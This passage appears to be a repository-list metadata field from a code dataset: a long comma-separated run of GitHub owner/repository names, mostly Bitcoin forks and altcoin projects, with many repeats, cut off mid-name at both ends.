/myriadcoin,AkioNak\/bitcoin,aspirecoin\/aspire,ashleyholman\/bitcoin,dan-mi-sun\/bitcoin,odemolliens\/bitcoinxt,thrasher-\/litecoin,droark\/bitcoin,Cocosoft\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-bu,genavarov\/lamacoin,marcusdiaz\/BitcoinUnlimited,goldcoin\/goldcoin,gzuser01\/zetacoin-bitcoin,ClusterCoin\/ClusterCoin,destenson\/bitcoin--bitcoin,ppcoin\/ppcoin,ftrader-bitcoinabc\/bitcoin-abc,BitcoinUnlimited\/BitcoinUnlimited,ryanxcharles\/bitcoin,StarbuckBG\/BTCGPU,anditto\/bitcoin,czr5014iph\/bitcoin4e,reorder\/viacoin,jambolo\/bitcoin,core-bitcoin\/bitcoin,jamesob\/bitcoin,Krellan\/bitcoin,MazaCoin\/maza,NateBrune\/bitcoin-fio,nvmd\/bitcoin,UdjinM6\/dash,REAP720801\/bitcoin,TrainMAnB\/vcoincore,alecalve\/bitcoin,dev1972\/Satellitecoin,segwit\/atbcoin-insight,rdqw\/sscoin,simonmulser\/bitcoin,shaolinfry\/litecoin,tecnovert\/particl-core,rebroad\/bitcoin,dperel\/bitcoin,tuaris\/bitcoin,markf78\/dollarcoin,accraze\/bitcoin,SoreGums\/bitcoinxt,kevcooper\/bitcoin,shelvenzhou\/BTCGPU,segwit\/atbcoin-insight,aburan28\/elements,ahmedbodi\/test2,rawodb\/bitcoin,Kixunil\/keynescoin,thormuller\/yescoin2,sbaks0820\/bitcoin,instagibbs\/bitcoin,litecoin-project\/bitcoinomg,n1bor\/bitcoin,jmcorgan\/bitcoin,upgradeadvice\/MUE-Src,kazcw\/bitcoin,pinkevich\/dash,oleganza\/bitcoin-duo,zcoinofficial\/zcoin,shaolinfry\/litecoin,dagurval\/bitcoinxt,achow101\/bitcoin,ashleyholman\/bitcoin,ahmedbodi\/temp_vert,inutoshi\/inutoshi,jl2012\/litecoin,aniemerg\/zcash,vlajos\/bitcoin,SoreGums\/bitcoinxt,faircoin\/faircoin,bittylicious\/bitcoin,bitreserve\/bitcoin,my-first\/octocoin,acid1789\/bitcoin,FarhanHaque\/bitcoin,Bushstar\/UFO-Project,sugruedes\/bitcoinxt,imton\/bitcoin,reddink\/reddcoin,NateBrune\/bitcoin-nate,rjshaver\/bitcoin,BlockchainTechLLC\/3dcoin,truthcoin\/blocksize-market,dperel\/bitcoin,experiencecoin\/experiencecoin,jameshilliard\/bitcoin,upgradeadvice\/MUE-Src,litecoin-project\/litecore-litecoin,JeremyRand\/bitcoin,willwray\/dash,TripleSpeeder\/bitcoin,ajtowns\/bitcoin,bitcoinsSG\/bitcoin,CoinProjects\/AmsterdamCoin-v4,guncoin\/guncoin,jaromil\/faircoin2,TheBlueMatt\/bitcoin,XertroV\/bitcoin-nulldata,Tetpay\/bitcoin,ivansib\/sib16,jaromil\/faircoin2,FarhanHaque\/bitcoin,JeremyRand\/namecore,goldcoin\/Goldcoin-GLD,dgenr8\/bitcoinxt,nomnombtc\/bitcoin,btc1\/bitcoin,kaostao\/bitcoin,DynamicCoinOrg\/DMC,rromanchuk\/bitcoinxt,xurantju\/bitcoin,misdess\/bitcoin,DGCDev\/argentum,namecoin\/namecore,lbrtcoin\/albertcoin,AdrianaDinca\/bitcoin,bitcoin\/bitcoin,koharjidan\/litecoin,habibmasuro\/bitcoinxt,Cloudsy\/bitcoin,jtimon\/elements,patricklodder\/dogecoin,mockcoin\/mockcoin,starwels\/starwels,ivansib\/sibcoin,chaincoin\/chaincoin,amaivsimau\/bitcoin,tdudz\/elements,PIVX-Project\/PIVX,brishtiteveja\/truthcoin-cpp,janko33bd\/bitcoin,dgenr8\/bitcoin,DynamicCoinOrg\/DMC,scmorse\/bitcoin,pstratem\/elements,appop\/bitcoin,balajinandhu\/bitcoin,error10\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,accraze\/bitcoin,thesoftwarejedi\/bitcoin,mm-s\/bitcoin,ivansib\/sib16,joshrabinowitz\/bitcoin,vmp32k\/litecoin,multicoins\/marycoin,acid1789\/bitcoin,Mirobit\/bitcoin,lakepay\/lake,globaltoken\/globaltoken,TeamBitBean\/bitcoin-core,ekankyesme\/bitcoinxt,zcoinofficial\/zcoin,welshjf\/bitcoin,scippio\/bitcoin,mb300sd\/bitcoin,slingcoin\/sling-market,ingresscoin\/ingresscoin,haraldh\/bitcoin,vlajos\/bitcoin,jmgilbert2\/energi,guncoin\/guncoin,andres-root\/bitcoinxt,CryptArc\/bitcoinxt,Kogser\/bitcoin,apoelstra\/elements,apoelstra\/bitcoin,schinzelh\/dash,schinzelh\/dash,shea256\/bitcoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,syscoin\/syscoin,wellenreiter01\/Feathercoin,aspirecoin\/aspire,blocktrail\/bitcoin,jn2840\/bitcoin,aniemerg\/zcash,rromanchuk\/bitcoinxt,Kcoin-project\/kcoin,grumpydevelop\/singularity,Kogser\/bitcoin,keesdewit82\/LasVegasCoin,janko33bd\/bitcoin,awemany\/BitcoinUnlimited,cryptoprojects\/ultimateonlinecash,cotner\/bitcoin,mruddy\/bitcoin,schinzelh\/dash,ElementsProject\/elements,tecnovert\/particl-core,riecoin\/riecoin,Bushstar\/UFO-Project,guncoin\/guncoin,CTRoundTable\/Encrypted.Cash,romanornr\/viacoin,jimmysong\/bitcoin,dexX7\/bitcoin,Domer85\/dogecoin,ticclassic\/ic,misdess\/bitcoin,111t8e\/bitcoin,Bitcoin-ABC\/bitcoin-abc,sipa\/elements,jmgilbert2\/energi,dscotese\/bitcoin,kleetus\/bitcoin,adpg211\/bitcoin-master,riecoin\/riecoin,biblepay\/biblepay,Rav3nPL\/polcoin,sugruedes\/bitcoinxt,welshjf\/bitcoin,bcpki\/testblocks,viacoin\/viacoin,kallewoof\/bitcoin,leofidus\/glowing-octo-ironman,GroestlCoin\/GroestlCoin,mrbandrews\/bitcoin,presstab\/PIVX,terracoin\/terracoin,nathan-at-least\/zcash,RHavar\/bitcoin,rdqw\/sscoin,bitcoinclassic\/bitcoinclassic,ShwoognationHQ\/bitcoin,Metronotes\/bitcoin,xuyangcn\/opalcoin,bitpay\/bitcoin,fullcoins\/fullcoin,aburan28\/elements,PRabahy\/bitcoin,credits-currency\/credits,monacoinproject\/monacoin,n1bor\/bitcoin,faircoin\/faircoin2,dgarage\/bc3,TierNolan\/bitcoin,ptschip\/bitcoin,dogecoin\/dogecoin,jonghyeopkim\/bitcoinxt,PandaPayProject\/PandaPay,kleetus\/bitcoin,schildbach\/bitcoin,koharjidan\/bitcoin,Kenwhite23\/litecoin,mikehearn\/bitcoinxt,vericoin\/vericoin-core,bitcoinxt\/bitcoinxt,ajweiss\/bitcoin,kallewoof\/bitcoin,Mirobit\/bitcoin,fsb4000\/bitcoin,crowning2\/dash,coinkeeper\/2015-06-22_18-37_dogecoin,genavarov\/brcoin,elliotolds\/bitcoin,ashleyholman\/bitcoin,Kogser\/bitcoin,worldbit\/worldbit,royosherove\/bitcoinxt,untrustbank\/litecoin,EthanHeilman\/bitcoin,ericshawlinux\/bitcoin,TrainMAnB\/vcoincore,markf78\/dollarcoin,stamhe\/bitcoin,error10\/bitcoin,leofidus\/glowing-octo-ironman,svost\/bitcoin,Cloudsy\/bitcoin,21E14\/bitcoin,practicalswift\/bitcoin,kirkalx\/bitcoin,bitcoinsSG\/bitcoin,martindale\/elements,antonio-fr\/bitcoin,schinzelh\/dash,zcoinofficial\/zcoin,particl\/particl-core,rjshaver\/bitcoin,npccoin\/npccoin,martindale\/elements,scmorse\/bitcoin,irvingruan\/bitcoin,genavarov\/lamacoin,anditto\/bitcoin,andreaskern\/bitcoin,DGCDev\/argentum,Electronic-Gulden-Foundation\/egulden,111t8e\/bitcoin,Ziftr\/bitcoin,Friedbaumer\/litecoin,coinkeeper\/2015-06-22_18-39_feathercoin,bcpki\/nonce2testblocks,RHavar\/bitcoin,faircoin\/faircoin2,marcusdiaz\/BitcoinUnlimited,biblepay\/biblepay,KnCMiner\/bitcoin,jlopp\/statoshi,dogecoin\/dogecoin,botland\/bitcoin,sarielsaz\/sarielsaz,Kixunil\/keynescoin,millennial83\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,MonetaryUnit\/MUE-Src,steakknife\/bitcoin-qt,JeremyRand\/bitcoin,safecoin\/safecoin,BitcoinPOW\/BitcoinPOW,fujicoin\/fujicoin,ryanxcharles\/bitcoin,PandaPayProject\/PandaPay,BitzenyCoreDevelopers\/bitzeny,alecalve\/bitcoin,presstab\/PIVX,ivansib\/sib16,ivansib\/sibcoin,bitpay\/bitcoin,nathan-at-least\/zcash,myriadteam\/myriadcoin,aciddude\/Feathercoin,reorder\/viacoin,jnewbery\/bitcoin,tedlz123\/Bitcoin,jiangyonghang\/bitcoin,meighti\/bitcoin,gapcoin\/gapcoin,dcousens\/bitcoin,mastercoin-MSC\/mastercore,AkioNak\/bitcoin,nmarley\/dash,rawodb\/bitcoin,lbrtcoin\/albertcoin,Xekyo\/bitcoin,nightlydash\/darkcoin,UdjinM6\/dash,xawksow\/GroestlCoin,namecoin\/namecore,ludbb\/bitcoin,DogTagRecon\/Still-Leraning,ppcoin\/ppcoin,fsb4000\/bitcoin,fsb4000\/bitcoin,cmgustavo\/bitcoin,PRabahy\/bitcoin,Michagogo\/bitcoin,ShadowMyst\/creativechain-core,Horrorcoin\/horrorcoin,Kogser\/bitcoin,deuscoin\/deuscoin,midnight-miner\/LasVegasCoin,atgreen\/bitcoin,JeremyRand\/bitcoin,jonghyeopkim\/bitcoinxt,Mrs-X\/PIVX,wederw\/bitcoin,lbrtcoin\/albertcoin,RazorLove\/cloaked-octo-spice,coinkeeper\/2015-06-22_19-07_digitalcoin,chaincoin\/chaincoin,ptschip\/bitcoin,ShadowMyst\/creativechain-core,Har01d\/bitcoin,UASF\/bitcoin,josephbisch\/namecoin-core,Kogser\/bitcoin,zottejos\/merelcoin,scippio\/bitcoin,antonio-fr\/bitcoin,cryptoprojects\/ultimateonlinecash,lbryio\/lbrycrd,coinkeeper\/2015-06-22_19-07_digitalcoin,jaromil\/faircoin2,UdjinM6\/dash,bcpki\/nonce2testblocks,octocoin-project\/octocoin,rnicoll\/dogecoin,cmgustavo\/bitcoin,lateminer\/bitcoin,zixan\/bitcoin,sipa\/bitcoin,ArgonToken\/ArgonToken,Sjors\/bitcoin,litecoin-project\/litecoin,kfitzgerald\/titcoin,Rav3nPL\/doubloons-0.10,riecoin\/riecoin,HashUnlimited\/Einsteinium-Unlimited,cculianu\/bitcoin-abc,digideskio\/namecoin,dperel\/bitcoin,marlengit\/hardfork_prototype_1_mvf-bu,blood2\/bloodcoin-0.9,benma\/bitcoin,r8921039\/bitcoin,Xekyo\/bitcoin,willwray\/dash,CTRoundTable\/Encrypted.Cash,dannyperez\/bolivarcoin,goku1997\/bitcoin,crowning2\/dash,isle2983\/bitcoin,40thoughts\/Coin-QualCoin,EntropyFactory\/creativechain-core,RongxinZhang\/bitcoinxt,initaldk\/bitcoin,bankonmecoin\/bitcoin,CryptArc\/bitcoinxt,myriadteam\/myriadcoin,ardsu\/bitcoin,benosa\/bitcoin,phelix\/namecore,DMDcoin\/Diamond,wcwu\/bitcoin,BlockchainTechLLC\/3dcoin,jlopp\/statoshi,wellenreiter01\/Feathercoin,RazorLove\/cloaked-octo-spice,Friedbaumer\/litecoin,dmrtsvetkov\/flowercoin,benma\/bitcoin,wtogami\/bitcoin,isle2983\/bitcoin,MasterX1582\/bitcoin-becoin,genavarov\/lamacoin,MonetaryUnit\/MUE-Src,FinalHashLLC\/namecore,blocktrail\/bitcoin,ticclassic\/ic,PIVX-Project\/PIVX,pinheadmz\/bitcoin,PIVX-Project\/PIVX,lakepay\/lake,coinkeeper\/2015-06-22_18-52_viacoin,bitcoinclassic\/bitcoinclassic,Xekyo\/bitcoin,Anoncoin\/anoncoin,Bitcoin-ABC\/bitcoin-abc,irvingruan\/bitcoin,scippio\/bitcoin,habibmasuro\/bitcoinxt,genavarov\/brcoin,acid1789\/bitcoin,matlongsi\/micropay,fanquake\/bitcoin,plncoin\/PLNcoin_Core,capitalDIGI\/litecoin,iosdevzone\/bitcoin,capitalDIGI\/litecoin,gjhiggins\/vcoincore,aburan28\/elements,TierNolan\/bitcoin,jonasnick\/bitcoin,schinzelh\/dash,fanquake\/bitcoin,Jeff88Ho\/bitcoin,Theshadow4all\/ShadowCoin,neuroidss\/bitcoin,dcousens\/bitcoin,prark\/bitcoinxt,simdeveloper\/bitcoin,masterbraz\/dg,chaincoin\/chaincoin,BTCDDev\/bitcoin,funbucks\/notbitcoinxt,SartoNess\/BitcoinUnlimited,Friedbaumer\/litecoin,haobtc\/bitcoin,Lucky7Studio\/bitcoin,Bitcoin-com\/BUcash,BitzenyCoreDevelopers\/bitzeny,syscoin\/syscoin,bitcoinknots\/bitcoin,GroestlCoin\/bitcoin,deadalnix\/bitcoin,jakeva\/bitcoin-pwcheck,goldcoin\/goldcoin,jonghyeopkim\/bitcoinxt,xuyangcn\/opalcoin,rustyrussell\/bitcoin,funkshelper\/woodcore,JeremyRand\/namecore,oklink-dev\/bitcoin,tjps\/bitcoin,dgenr8\/bitcoinxt,wangliu\/bitcoin,dperel\/bitcoin,ivansib\/sib16,jambolo\/bitcoin,lclc\/bitcoin,Alonzo-Coeus\/bitcoin,vertcoin\/vertcoin,btc1\/bitcoin,bcpki\/nonce2,Bloom-Project\/Bloom,jtimon\/elements,Vsync-project\/Vsync,paveljanik\/bitcoin,oleganza\/bitcoin-duo,Diapolo\/bitcoin,robvanbentem\/bitcoin,bitcoinknots\/bitcoin,stevemyers\/bitcoinxt,afk11\/bitcoin,phplaboratory\/psiacoin,experiencecoin\/experiencecoin,jn2840\/bitcoin,morcos\/bitcoin,blocktrail\/bitcoin,MazaCoin\/mazacoin-new,destenson\/bitcoin--bitcoin,shomeser\/bitcoin,kbccoin\/kbc,bcpki\/nonce2,supcoin\/supcoin,KibiCoin\/kibicoin,dpayne9000\/Rubixz-Coin,coinwarp\/dogecoin,nathan-at-least\/zcash,gwillen\/elements,syscoin\/syscoin,cryptodev35\/icash,EthanHeilman\/bitcoin,jrmithdobbs\/bitcoin,tmagik\/catcoin,arruah\/ensocoin,hsavit1\/bitcoin,namecoin\/namecoin-core,starwels\/starwels,stamhe\/bitcoin,putinclassic\/putic,fujicoin\/fujicoin,capitalDIGI\/DIGI-v-0-10-4,prark\/bitcoinxt,psionin\/smartcoin,Thracky\/monkeycoin,ionomy\/ion,gjhiggins\/vcoincore,cheehieu\/bitcoin,bitjson\/hivemind,greencoin-dev\/digitalcoin,cannabiscoindev\/cannabiscoin420,RHavar\/bitcoin,ShwoognationHQ\/bitcoin,Christewart\/bitcoin,jeromewu\/bitcoin-opennet,inkvisit\/sarmacoins,peercoin\/peercoin,misdess\/bitcoin,h4x3rotab\/BTCGPU,sipsorcery\/bitcoin,monacoinproject\/monacoin,aniemerg\/zcash,wangliu\/bitcoin,oklink-dev\/bitcoin,schildbach\/bitcoin,steakknife\/bitcoin-qt,bitcoin\/bitcoin,h4x3rotab\/BTCGPU,Bitcoinsulting\/bitcoinxt,Friedbaumer\/litecoin,wtogami\/bitcoin,1185\/starwels,GroundRod\/anoncoin,credits-currency\/credits,ediston\/energi,marcusdiaz\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,shaolinfry\/litecoin,aspirecoin\/aspire,nbenoit\/bitcoin,myriadteam\/myriadcoin,shomeser\/bitcoin,ajweiss\/bitcoin,uphold\/bitcoin,droark\/elements,ahmedbodi\/terracoin,mobicoins\/mobicoin-core,particl\/particl-core,goldcoin\/Goldcoin-GLD,ardsu\/bitcoin,bitcoinxt\/bitcoinxt,gwillen\/elements,haisee\/dogecoin,segsignal\/bitcoin,zander\/bitcoinclassic,BTCTaras\/bitcoin,ahmedbodi\/temp_vert,mapineda\/litecoin,capitalDIGI\/litecoin,dogecoin\/dogecoin,dogecoin\/dogecoin,bitcoin\/bitcoin,xuyangcn\/opalcoin,Jcing95\/iop-hd,argentumproject\/argentum,sdaftuar\/bitcoin,iosdevzone\/bitcoin,s-matthew-english\/bitcoin,untrustbank\/litecoin,dmrtsvetkov\/flowercoin,marlengit\/hardfork_prototype_1_mvf-bu,destenson\/bitcoin--bitcoin,zetacoin\/zetacoin,kleetus\/bitcoinxt,freelion93\/mtucicoin,nailtaras\/nailcoin,bitcoinsSG\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,bitcoinclassic\/bitcoinclassic,funkshelper\/woodcoin-b,48thct2jtnf\/P,aniemerg\/zcash,krzysztofwos\/BitcoinUnlimited,s-matthew-english\/bitcoin,Anfauglith\/iop-hd,midnight-miner\/LasVegasCoin,globaltoken\/globaltoken,earonesty\/bitcoin,lbrtcoin\/albertcoin,TGDiamond\/Diamond,n1bor\/bitcoin,ClusterCoin\/ClusterCoin,Electronic-Gulden-Foundation\/egulden,pstratem\/elements,pstratem\/bitcoin,instagibbs\/bitcoin,wederw\/bitcoin,s-matthew-english\/bitcoin,dcousens\/bitcoin,drwasho\/bitcoinxt,bespike\/litecoin,fedoracoin-dev\/fedoracoin,wellenreiter01\/Feathercoin,Gazer022\/bitcoin,truthcoin\/blocksize-market,syscoin\/syscoin2,Petr-Economissa\/gvidon,simonmulser\/bitcoin,pastday\/bitcoinproject,joroob\/reddcoin,tropa\/axecoin,metacoin\/florincoin,haobtc\/bitcoin,aciddude\/Feathercoin,iosdevzone\/bitcoin,freelion93\/mtucicoin,sipa\/elements,Rav3nPL\/polcoin,metacoin\/florincoin,sipa\/elements,welshjf\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,ColossusCoinXT\/ColossusCoinXT,BTCfork\/hardfork_prototype_1_mvf-core,loxal\/zcash,Jeff88Ho\/bitcoin,TrainMAnB\/vcoincore,prark\/bitcoinxt,neuroidss\/bitcoin,senadmd\/coinmarketwatch,elliotolds\/bitcoin,ixcoinofficialpage\/master,pinkevich\/dash,Justaphf\/BitcoinUnlimited,phelix\/bitcoin,Metronotes\/bitcoin,sugruedes\/bitcoin,skaht\/bitcoin,torresalyssa\/bitcoin,cmgustavo\/bitcoin,NicolasDorier\/bitcoin,Flurbos\/Flurbo,jtimon\/elements,Jcing95\/iop-hd,vcoin-project\/vcoincore,funkshelper\/woodcore,mapineda\/litecoin,Alex-van-der-Peet\/bitcoin,slingcoin\/sling-market,11755033isaprimenumber\/Feathercoin,donaloconnor\/bitcoin,PRabahy\/bitcoin,worldbit\/worldbit,jnewbery\/bitcoin,theuni\/bitcoin,koharjidan\/dogecoin,jambolo\/bitcoin,dogecoin\/dogecoin,apoelstra\/elements,benzmuircroft\/REWIRE.io,ingresscoin\/ingresscoin,sebrandon1\/bitcoin,wtogami\/bitcoin,theuni\/bitcoin,dagurval\/bitcoinxt,btcdrak\/bitcoin,krzysztofwos\/BitcoinUnlimited,ahmedbodi\/terracoin,fsb4000\/bitcoin,Kangmo\/bitcoin,Kenwhite23\/litecoin,midnight-miner\/LasVegasCoin,dexX7\/mastercore,mapineda\/litecoin,bitcoinknots\/bitcoin,MeshCollider\/bitcoin,Bitcoin-com\/BUcash,coinkeeper\/2015-06-22_19-00_ziftrcoin,maaku\/bitcoin,21E14\/bitcoin,litecoin-project\/litecore-litecoin,globaltoken\/globaltoken,puticcoin\/putic,error10\/bitcoin,Anfauglith\/iop-hd,bitjson\/hivemind,cryptoprojects\/ultimateonlinecash,kaostao\/bitcoin,chaincoin\/chaincoin,goldcoin\/goldcoin,ColossusCoinXT\/ColossusCoinXT,GreenParhelia\/bitcoin,presstab\/PIVX,kazcw\/bitcoin,bitcoinec\/bitcoinec,jnewbery\/bitcoin,alejandromgk\/Lunar,cdecker\/bitcoin,Flowdalic\/bitcoin,StarbuckBG\/BTCGPU,zenywallet\/bitzeny,phplaboratory\/psiacoin,roques\/bitcoin,arruah\/ensocoin,xurantju\/bitcoin,stamhe\/bitcoin,rawodb\/bitcoin,blood2\/bloodcoin-0.9,botland\/bitcoin,FarhanHaque\/bitcoin,coinkeeper\/2015-06-22_18-36_darkcoin,Mrs-X\/PIVX,uphold\/bitcoin,bitcoin\/bitcoin,ediston\/energi,ahmedbodi\/terracoin,sugruedes\/bitcoin,se3000\/bitcoin,BigBlueCeiling\/augmentacoin,dexX7\/bitcoin,tecnovert\/particl-core,nathaniel-mahieu\/bitcoin,dagurval\/bitcoinxt,amaivsimau\/bitcoin,domob1812\/bitcoin,error10\/bitcoin,daveperkins-github\/bitcoin-dev,nmarley\/dash,m0gliE\/fastcoin-cli,TBoehm\/greedynode,randy-waterhouse\/bitcoin,gameunits\/gameunits,achow101\/bitcoin,aspirecoin\/aspire,Alex-van-der-Peet\/bitcoin,cryptodev35\/icash,jtimon\/elements,millennial83\/bitcoin,lbrtcoin\/albertcoin,48thct2jtnf\/P,petertodd\/bitcoin,MeshCollider\/bitcoin,UFOCoins\/ufo,n1bor\/bitcoin,namecoin\/namecore,JeremyRand\/bitcoin,xuyangcn\/opalcoin,11755033isaprimenumber\/Feathercoin,domob1812\/bitcoin,se3000\/bitcoin,Gazer022\/bitcoin,Darknet-Crypto\/Darknet,BTCfork\/hardfork_prototype_1_mvf-core,puticcoin\/putic,jaromil\/faircoin2,pascalguru\/florincoin,ivansib\/sibcoin,particl\/particl-core,cculianu\/bitcoin-abc,ArgonToken\/ArgonToken,ticclassic\/ic,hasanatkazmi\/bitcoin,Kogser\/bitcoin,npccoin\/npccoin,btc1\/bitcoin,gzuser01\/zetacoin-bitcoin,peercoin\/peercoin,vmp32k\/litecoin,rustyrussell\/bitcoin,Earlz\/renamedcoin,TeamBitBean\/bitcoin-core,viacoin\/viacoin,shaulkf\/bitcoin,digibyte\/digibyte,nathaniel-mahieu\/bitcoin,josephbisch\/namecoin-core,Mrs-X\/Darknet,morcos\/bitcoin,ekankyesme\/bitcoinxt,nmarley\/dash,Earlz\/renamedcoin,litecoin-project\/litecore-litecoin,Mrs-X\/Darknet,elecoin\/elecoin,xieta\/mincoin,Christewart\/bitcoin,litecoin-project\/litecoin,bitbrazilcoin-project\/bitbrazilcoin,cheehieu\/bitcoin,viacoin\/viacoin,jlopp\/statoshi,presstab\/PIVX,coinwarp\/dogecoin,alejandromgk\/Lunar,habibmasuro\/bitcoin,supcoin\/supcoin,Bitcoinsulting\/bitcoinxt,Darknet-Crypto\/Darknet,rsdevgun16e\/energi,pascalguru\/florincoin,Bitcoin-ABC\/bitcoin-abc,jakeva\/bitcoin-pwcheck,marlengit\/hardfork_prototype_1_mvf-bu,fullcoins\/fullcoin,putinclassic\/putic,arnuschky\/bitcoin,rat4\/bitcoin,unsystemizer\/bitcoin,cannabiscoindev\/cannabiscoin420,BTCDDev\/bitcoin,loxal\/zcash,dcousens\/bitcoin,ahmedbodi\/vertcoin,ahmedbodi\/vertcoin,Ziftr\/bitcoin,capitalDIGI\/litecoin,zotherstupidguy\/bitcoin,BitzenyCoreDevelopers\/bitzeny,tdudz\/elements,BitcoinHardfork\/bitcoin,ptschip\/bitcoinxt,omefire\/bitcoin,HeliumGas\/helium,1185\/starwels,tjps\/bitcoin,shaolinfry\/litecoin,brandonrobertz\/namecoin-core,BigBlueCeiling\/augmentacoin,gandrewstone\/bitcoinxt,nigeriacoin\/nigeriacoin,jrick\/bitcoin,mobicoins\/mobicoin-core,ftrader-bitcoinabc\/bitcoin-abc,phelix\/bitcoin,metacoin\/florincoin,likecoin-dev\/bitcoin,arnuschky\/bitcoin,ptschip\/bitcoin,m0gliE\/fastcoin-cli,acid1789\/bitcoin,donaloconnor\/bitcoin,Rav3nPL\/bitcoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,alejandromgk\/Lunar,KibiCoin\/kibicoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,Kore-Core\/kore,benosa\/bitcoin,biblepay\/biblepay,Chancoin-core\/CHANCOIN,jn2840\/bitcoin,CryptArc\/bitcoin,litecoin-project\/litecoin,ticclassic\/ic,droark\/elements,haraldh\/bitcoin,midnight-miner\/LasVegasCoin,domob1812\/namecore,SoreGums\/bitcoinxt,cryptodev35\/icash,svost\/bitcoin,octocoin-project\/octocoin,PIVX-Project\/PIVX,cdecker\/bitcoin,marlengit\/BitcoinUnlimited,vcoin-project\/vcoincore,vcoin-project\/vcoincore,uphold\/bitcoin,biblepay\/biblepay,ColossusCoinXT\/ColossusCoinXT,pelorusjack\/BlockDX,Mrs-X\/Darknet,romanornr\/viacoin,ripper234\/bitcoin,zenywallet\/bitzeny,EntropyFactory\/creativechain-core,isle2983\/bitcoin,braydonf\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,phelix\/bitcoin,dashpay\/dash,biblepay\/biblepay,kazcw\/bitcoin,ionomy\/ion,cannabiscoindev\/cannabiscoin420,cculianu\/bitcoin-abc,prark\/bitcoinxt,funbucks\/notbitcoinxt,Bloom-Project\/Bloom,collapsedev\/cashwatt,isghe\/bitcoinxt,mockcoin\/mockcoin,bittylicious\/bitcoin,jameshilliard\/bitcoin,Xekyo\/bitcoin,kfitzgerald\/titcoin,elliotolds\/bitcoin,dscotese\/bitcoin,my-first\/octocoin,GIJensen\/bitcoin,rawodb\/bitcoin,Horrorcoin\/horrorcoin,MonetaryUnit\/MUE-Src,kaostao\/bitcoin,ctwiz\/stardust,Rav3nPL\/polcoin,zixan\/bitcoin,bitcoinplusorg\/xbcwalletsource,48thct2jtnf\/P,koharjidan\/dogecoin,zotherstupidguy\/bitcoin,goldcoin\/goldcoin,FeatherCoin\/Feathercoin,botland\/bitcoin,roques\/bitcoin,BitcoinPOW\/BitcoinPOW,andres-root\/bitcoinxt,instagibbs\/bitcoin,Bitcoin-com\/BUcash,coinkeeper\/2015-06-22_19-00_ziftrcoin,svost\/bitcoin,bitcoin-hivemind\/hivemind,DogTagRecon\/Still-Leraning,zsulocal\/bitcoin,CryptArc\/bitcoin,Exgibichi\/statusquo,bespike\/litecoin,multicoins\/marycoin,Krellan\/bitcoin,upgradeadvice\/MUE-Src,multicoins\/marycoin,langerhans\/dogecoin,aciddude\/Feathercoin,btcdrak\/bitcoin,ctwiz\/stardust,sebrandon1\/bitcoin,gazbert\/bitcoin,BTCDDev\/bitcoin,marlengit\/BitcoinUnlimited,reddcoin-project\/reddcoin,dev1972\/Satellitecoin,sugruedes\/bitcoin,SartoNess\/BitcoinUnlimited,daveperkins-github\/bitcoin-dev,oklink-dev\/bitcoin,bittylicious\/bitcoin,Lucky7Studio\/bitcoin,Christewart\/bitcoin,nbenoit\/bitcoin,aspirecoin\/aspire,elliotolds\/bitcoin,KaSt\/ekwicoin,DMDcoin\/Diamond,Tetpay\/bitcoin,mikehearn\/bitcoinxt,coinerd\/krugercoin,gameunits\/gameunits,octocoin-project\/octocoin,DigiByte-Team\/digibyte,keo\/bitcoin,anditto\/bitcoin,MarcoFalke\/bitcoin,reorder\/viacoin,JeremyRand\/namecoin-core,apoelstra\/bitcoin,FinalHashLLC\/namecore,bitcoin-hivemind\/hivemind,achow101\/bitcoin,oklink-dev\/bitcoin,pstratem\/elements,koharjidan\/litecoin,Exceltior\/dogecoin,brishtiteveja\/sherlockcoin,zander\/bitcoinclassic,martindale\/elements,apoelstra\/elements,bitcoinec\/bitcoinec,thormuller\/yescoin2,jrick\/bitcoin,simonmulser\/bitcoin,tropa\/axecoin,x-kalux\/bitcoin_WiG-B,MeshCollider\/bitcoin,qtumproject\/qtum,MazaCoin\/maza,drwasho\/bitcoinxt,blood2\/bloodcoin-0.9,deeponion\/deeponion,gjhiggins\/vcoincore,andres-root\/bitcoinxt,kirkalx\/bitcoin,jn2840\/bitcoin,jrmithdobbs\/bitcoin,iosdevzone\/bitcoin,Horrorcoin\/horrorcoin,tjps\/bitcoin,FeatherCoin\/Feathercoin,bitcoinsSG\/bitcoin,jamesob\/bitcoin,crowning2\/dash,48thct2jtnf\/P,cotner\/bitcoin,josephbisch\/namecoin-core,EntropyFactory\/creativechain-core,hasanatkazmi\/bitcoin,jeromewu\/bitcoin-opennet,EntropyFactory\/creativechain-core,rsdevgun16e\/energi,BTCGPU\/BTCGPU,acid1789\/bitcoin,bitjson\/hivemind,monacoinproject\/monacoin,ryanxcharles\/bitcoin,dannyperez\/bolivarcoin,misdess\/bitcoin,rat4\/bitcoin,hyperwang\/bitcoin,simdeveloper\/bitcoin,simonmulser\/bitcoin,joshrabinowitz\/bitcoin,royosherove\/bitcoinxt,coinkeeper\/2015-06-22_18-31_bitcoin,CTRoundTable\/Encrypted.Cash,cddjr\/BitcoinUnlimited,brishtiteveja\/truthcoin-cpp,pinkevich\/dash,AdrianaDinca\/bitcoin,NateBrune\/bitcoin-nate,Jeff88Ho\/bitcoin,elecoin\/elecoin,roques\/bitcoin,Diapolo\/bitcoin,jrmithdobbs\/bitcoin,vericoin\/vericoin-core,mitchellcash\/bitcoin,spiritlinxl\/BTCGPU,benma\/bitcoin,funkshelper\/woodcore,BitzenyCoreDevelopers\/bitzeny,se3000\/bitcoin,isghe\/bitcoinxt,nmarley\/dash,MazaCoin\/maza,RibbitFROG\/ribbitcoin,ctwiz\/stardust,collapsedev\/cashwatt,bitcoin-hivemind\/hivemind,h4x3rotab\/BTCGPU,PIVX-Project\/PIVX,rat4\/bitcoin,emc2foundation\/einsteinium,reddink\/reddcoin,adpg211\/bitcoin-master,unsystemizer\/bitcoin,ahmedbodi\/temp_vert,skaht\/bitcoin,jambolo\/bitcoin,shouhuas\/bitcoin,BTCDDev\/bitcoin,greenaddress\/bitcoin,stamhe\/bitcoin,Krellan\/bitcoin,gjhiggins\/vcoincore,arruah\/ensocoin,zixan\/bitcoin,kleetus\/bitcoinxt,zander\/bitcoinclassic,wederw\/bitcoin,jrick\/bitc